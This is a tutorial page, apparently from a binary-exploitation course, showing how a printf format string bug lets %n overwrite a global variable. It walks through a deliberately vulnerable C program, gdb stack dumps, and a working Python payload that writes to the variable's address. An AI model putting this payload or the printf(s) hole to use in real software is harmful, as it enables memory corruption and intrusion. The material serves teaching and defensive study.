Skip to content

Writing to Memory

Writing data to memory

We can use format string vulnerability to not only leak data but also write data to memory. Let's just check the man page of printf. In the Bugs section we can see the following:

Note

Code such as printf(foo); often indicates a bug, since foo may contain a % character. If foo comes from untrusted user input, it may contain %n, causing the printf() call to write to memory and creating a security hole.

What is means is that if we give %n as format specifier, instead of printing data, it will write the number of bytes printed so far to a memory location.

Let's take an example:

#include<stdio.h>
int var = 0;
int main(){
    char s[50];
    printf("Please enter an input : ");
    scanf("%49s",s);
    printf(s);
    return 0;
}

Let's see how we can overwrtie the global variable var using %n. For that first we need to find the address of var. For this we can use gdb.

gdb-peda$ info variables 
All defined variables:
0x0804c01c  data_start
0x0804c020  __dso_handle
0x0804c024  __TMC_END__
0x0804c024  __bss_start
0x0804c024  _edata
0x0804c024  completed
0x0804c028  var
0x0804c02c  _end

We can see the second last row is the address of our variable var. We will give some junk input to see where our input is being taken on stack.

0000| 0xffffcfa0 --> 0xffffcfba ('a' <repeats 21 times>)
0004| 0xffffcfa4 --> 0xffffcfba ('a' <repeats 21 times>)
0008| 0xffffcfa8 --> 0xf7fa3000 --> 0x1dbd6c 
0012| 0xffffcfac --> 0x8049199 (<main+23>:  add    ebx,0x2e67)
0016| 0xffffcfb0 --> 0x0 
0020| 0xffffcfb4 --> 0xf7fa3000 --> 0x1dbd6c 
0024| 0xffffcfb8 --> 0x6161cb39 
0028| 0xffffcfbc ('a' <repeats 19 times>)
0032| 0xffffcfc0 ('a' <repeats 15 times>)
0036| 0xffffcfc4 ('a' <repeats 11 times>)
0040| 0xffffcfc8 ("aaaaaaa")
0044| 0xffffcfcc --> 0x616161 ('aaa')

We can see that the input is taken into the 6th offset on stack. What we need to do is to give the address of var on stack and use %n to write something else to it. Let's give 2 bytes of junk and then our address. The junk is needed so that the address is 4 bytes aligned on stack.

python -c 'print "aa" + "\x08\x04\xc0\x28"[::-1]'

After the giving the input, stack looks like this:

0000| 0xffffcfa0 --> 0xffffcfba --> 0xc0286161 
0004| 0xffffcfa4 --> 0xffffcfba --> 0xc0286161 
0008| 0xffffcfa8 --> 0xf7fa3000 --> 0x1dbd6c 
0012| 0xffffcfac --> 0x8049199 (<main+23>:  add    ebx,0x2e67)
0016| 0xffffcfb0 --> 0x0 
0020| 0xffffcfb4 --> 0xf7fa3000 --> 0x1dbd6c 
0024| 0xffffcfb8 --> 0x6161cb39 
0028| 0xffffcfbc --> 0x804c028 --> 0x0 
The address is saved on the 7th offset. Let's see what happens when we give %7$n.

python -c 'print "aa" + "\x08\x04\xc0\x28"[::-1] + "%7$n" '
If we examine the variable we find that the value in var has been changed.

gdb-peda$ x/wx 0x804c028
0x804c028 <var>: 0x00000006

The value is 6 because %n takes the number of bytes printed before it which is the length of junk + length of address. There are other good targets which we can overwrite. Those will be discussed in a later section.